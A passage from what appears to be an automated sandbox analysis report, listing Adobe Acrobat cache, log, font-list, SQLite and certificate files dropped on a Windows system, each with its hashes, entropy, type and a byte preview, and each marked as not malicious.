SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	0E71585447C13E5A0B4FCB887841C53D
SHA1:	7881A93F6124E43BFB5527CE4248F2A50E2368EC
SHA-256:	FF1405E9917CF2C247E85BDC1E2E223E06653B5F8BFE925F847F560E84808A54
SHA-512:	D86233CE4124BEDBC54CDC7750B94F5826E4C94BCBBE553B3051A0F95077FEA23E3CF098662904E4B5ADE609FDC51A66378ADFD6572FBFCBED9DBC635796D9E6
Malicious:	false
Preview:	#..q... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................(.r......}..................N........}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07635746778960162
Encrypted:	false
SSDEEP:	3:PmXlKYeTZoCjn13a/PxollcVO/lnlZMxZNQl:+lKzTZH53qPKOewk
MD5:	D5A39685085A1D9CCBA69E108E36818E
SHA1:	8F4F091CB23ABC522758679F5E0ED2EEC635039C
SHA-256:	E6626AE1CF70E128B59AD4869AC25BE854232517CE63C13C47B9A30848EE306E
SHA-512:	18DAE4402F5EABD766B24A957B2709BD2324C63C6C4098515602D29D25D613B0F5FC5A381C1DD9769DEC1D04E0B6FEE75CDD3C5F07505FA077E9F7B3D031B11B
Malicious:	false
Preview:	}........................................;...{.......}.......{A..............{A......{A..........{A]................N........}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.127614802448412
Encrypted:	false
SSDEEP:	6:iOn9K/pwAq2Pwkn2nKuAl9OmbnIFUtF9K/pSZmwr9K/pekwOwkn2nKuAl9OmbjLJ:7npAvYfHAahFUtFR/rL5JfHAaSJ
MD5:	0D2856E874B3F7E3B27143BFC223BFCC
SHA1:	ACB1ED199B5224C5F35269CFBD650F389D2E2F85
SHA-256:	4473EDAF3DF451E9144777EECD9838F5F78C074426870EA018A321D4CD3CEE19
SHA-512:	F836FEFB93637F2CCBE2E007D80C039374911330B0423DE95980DE115EF1847DB9CDD6EF97D276A938FEBD38A673826470166CC7AF9F91CF1A547C75B481762B
Malicious:	false
Preview:	2025/01/11-01:05:00.857 1f40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:05:00.860 1f40 Recovering log #3.2025/01/11-01:05:00.860 1f40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.127614802448412
Encrypted:	false
SSDEEP:	6:iOn9K/pwAq2Pwkn2nKuAl9OmbnIFUtF9K/pSZmwr9K/pekwOwkn2nKuAl9OmbjLJ:7npAvYfHAahFUtFR/rL5JfHAaSJ
MD5:	0D2856E874B3F7E3B27143BFC223BFCC
SHA1:	ACB1ED199B5224C5F35269CFBD650F389D2E2F85
SHA-256:	4473EDAF3DF451E9144777EECD9838F5F78C074426870EA018A321D4CD3CEE19
SHA-512:	F836FEFB93637F2CCBE2E007D80C039374911330B0423DE95980DE115EF1847DB9CDD6EF97D276A938FEBD38A673826470166CC7AF9F91CF1A547C75B481762B
Malicious:	false
Preview:	2025/01/11-01:05:00.857 1f40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:05:00.860 1f40 Recovering log #3.2025/01/11-01:05:00.860 1f40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.090977076351157
Encrypted:	false
SSDEEP:	6:iOn9K/p+w3cM+q2Pwkn2nKuAl9Ombzo2jMGIFUtF9K/p73JZmwr9K/p2UwF3cMVs:7nvw3cM+vYfHAa8uFUtFW3J/rxBNcMVs
MD5:	2B822A4309B14D6A23EADF442936C861
SHA1:	859D4851706F159C993C40903B0DEB06C5CD8DEC
SHA-256:	46EAC693C7192331DA0C010C70FE77CB6B8EF7B27B18C6FBE525CBBB13FEDB56
SHA-512:	D139E5C8C6A5276D3560CE4B0DC0AE8F7D38964AC792712552A0474987215FAC88C0B6D260B4E467B92C4F4D6B85C79BD09A13C90F99407C1A0B62E2E42C0810
Malicious:	false
Preview:	2025/01/11-01:05:00.880 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:05:00.882 1f8c Recovering log #3.2025/01/11-01:05:00.885 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.090977076351157
Encrypted:	false
SSDEEP:	6:iOn9K/p+w3cM+q2Pwkn2nKuAl9Ombzo2jMGIFUtF9K/p73JZmwr9K/p2UwF3cMVs:7nvw3cM+vYfHAa8uFUtFW3J/rxBNcMVs
MD5:	2B822A4309B14D6A23EADF442936C861
SHA1:	859D4851706F159C993C40903B0DEB06C5CD8DEC
SHA-256:	46EAC693C7192331DA0C010C70FE77CB6B8EF7B27B18C6FBE525CBBB13FEDB56
SHA-512:	D139E5C8C6A5276D3560CE4B0DC0AE8F7D38964AC792712552A0474987215FAC88C0B6D260B4E467B92C4F4D6B85C79BD09A13C90F99407C1A0B62E2E42C0810
Malicious:	false
Preview:	2025/01/11-01:05:00.880 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:05:00.882 1f8c Recovering log #3.2025/01/11-01:05:00.885 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6efffbec-d491-43ed-b6e2-cbf995b2414f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqmsBdOg2HGcaq3QYiubInP7E4T3y:Y2sRdsOdMH53QYhbG7nby
MD5:	7F2D3EEC5C3513A56EBEAA622FF92B2A
SHA1:	8030D391632737C783742828C04D23E868238C08
SHA-256:	23E126166EE6AEAF2D1F12FD1EA9D30B8EF60D28F7F038D6DA0AA0F048431981
SHA-512:	820B6E221A025D39EA681587EE8C772773630F75A9822ECB70B4F9EFDF9AF1860BF6B069DD16E4EB93EF86BFF45F801E74C97AFCBB76915AA7236B2E3B277B36
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135513242790","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128050},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqmsBdOg2HGcaq3QYiubInP7E4T3y:Y2sRdsOdMH53QYhbG7nby
MD5:	7F2D3EEC5C3513A56EBEAA622FF92B2A
SHA1:	8030D391632737C783742828C04D23E868238C08
SHA-256:	23E126166EE6AEAF2D1F12FD1EA9D30B8EF60D28F7F038D6DA0AA0F048431981
SHA-512:	820B6E221A025D39EA681587EE8C772773630F75A9822ECB70B4F9EFDF9AF1860BF6B069DD16E4EB93EF86BFF45F801E74C97AFCBB76915AA7236B2E3B277B36
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135513242790","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128050},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255966504104255
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7gVXp:etJCV4FiN/jTN/2r8Mta02fEhgO73goC
MD5:	E822DAF09AE8E80CF481AD776134E11D
SHA1:	3D1068AF636934F8B65200339F004E4B926BA5A2
SHA-256:	3CFF6A884087D8E4DBE16311C99BCE6127CBD25F16994B843BD88021A655BD8C
SHA-512:	7C2BCCB51C1BE4A388C2AF864F004B2F950D81B4884DD95EC57B739D3745A20D7D84B5AE6DB790FF3189AA4C163700DCAF0E6DC7BED26D8CC29B0EF73F168478
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.102169784548103
Encrypted:	false
SSDEEP:	6:iOn9KA3cM+q2Pwkn2nKuAl9OmbzNMxIFUtF9KzJZmwr9K6F3cMVkwOwkn2nKuAlG:7nHcM+vYfHAa8jFUtFWJ/rrNcMV5JfHP
MD5:	77703814C87A1F448C33979A96F73025
SHA1:	AE88CA240A3799EC734F99EECAB174FC5468A7EE
SHA-256:	EF6D6B45FB50EBED65428625E0BC1E682F1E6DAC5643697B6682985098DBDE1B
SHA-512:	D8487147F464830B0F14DC81AEB75DE319EC1F329AC28F89F2E12D90350143E2F87BC478885A4904DE7D955670FF1EC7654D1198B63FF5C8E1AA7C0B702DB51D
Malicious:	false
Preview:	2025/01/11-01:05:01.055 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:05:01.056 1f8c Recovering log #3.2025/01/11-01:05:01.057 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.102169784548103
Encrypted:	false
SSDEEP:	6:iOn9KA3cM+q2Pwkn2nKuAl9OmbzNMxIFUtF9KzJZmwr9K6F3cMVkwOwkn2nKuAlG:7nHcM+vYfHAa8jFUtFWJ/rrNcMV5JfHP
MD5:	77703814C87A1F448C33979A96F73025
SHA1:	AE88CA240A3799EC734F99EECAB174FC5468A7EE
SHA-256:	EF6D6B45FB50EBED65428625E0BC1E682F1E6DAC5643697B6682985098DBDE1B
SHA-512:	D8487147F464830B0F14DC81AEB75DE319EC1F329AC28F89F2E12D90350143E2F87BC478885A4904DE7D955670FF1EC7654D1198B63FF5C8E1AA7C0B702DB51D
Malicious:	false
Preview:	2025/01/11-01:05:01.055 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:05:01.056 1f8c Recovering log #3.2025/01/11-01:05:01.057 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444667195166328
Encrypted:	false
SSDEEP:	384:SeLci5t8iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Lbs3OazzU89UTTgUL
MD5:	6819CDE12440639ECF07D94234E56A5A
SHA1:	872F499A0CB2396173281AF0E41124721A2C916D
SHA-256:	FCB637638F63093FDAAD66A50B8E4A94F43B1B6E1CEF5602DB10D3A1E475B68F
SHA-512:	B065260553C36EBD31E5D2DE65A2353D5D155438CACA5409012E45E204EF836B22D0ACA7B491B58959938134B464B4AD5CC28D84927D6EC77F940AFCA0B6FE4A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2121059834998165
Encrypted:	false
SSDEEP:	48:7MhCqnCTqvmFTIF3XmHjBoGGR+jMz+Lha:76nm79IVXEBodRBkA
MD5:	029619150265F58229521DB3816912BE
SHA1:	29C3D1CD55EA01CFE527DD690F1F7A56453D6C29
SHA-256:	FA5296A880F64E53A7268D3B421D7C84BBEB78AE6FB80F4D69BFCE06268189EE
SHA-512:	85E31937A630C0629D376E7764F5D476CA2400708AFB6AC299CBA21A3DBC94C7D1A8719D064CD217B95957CA8689A0BFF0237DC0EADE1CE49A436B468C2AFBEF
Malicious:	false
Preview:	.... .c.....&B:O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkljgrbpllltfllXlE/HT8kqGNNX8RolJuRdxLlGB9lQRYwpDdt:kKLrbpl/eT8SNMa8RdWBwRd
MD5:	4EFEA52DBE227D9550C8F782F1C6FDF8
SHA1:	2C5DEEBD3E86234E7AAD25DBBB1DD997F10815B1
SHA-256:	C455AA8D143D024EF216BAED3AB62D31974222D8F8AA2740FB0B46D803CA0904
SHA-512:	051D782DD4F0205FC3F19DC641CD8693ABEBBF9F7DE9C8E6BE2432867765928179A6796500EC5904205F517790A8B32C6195427E41B1CD0C293323E878D4FBA0
Malicious:	false
Preview:	p...... ..........N..c..(....................................................... ..........W....O]..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7728

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7728

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
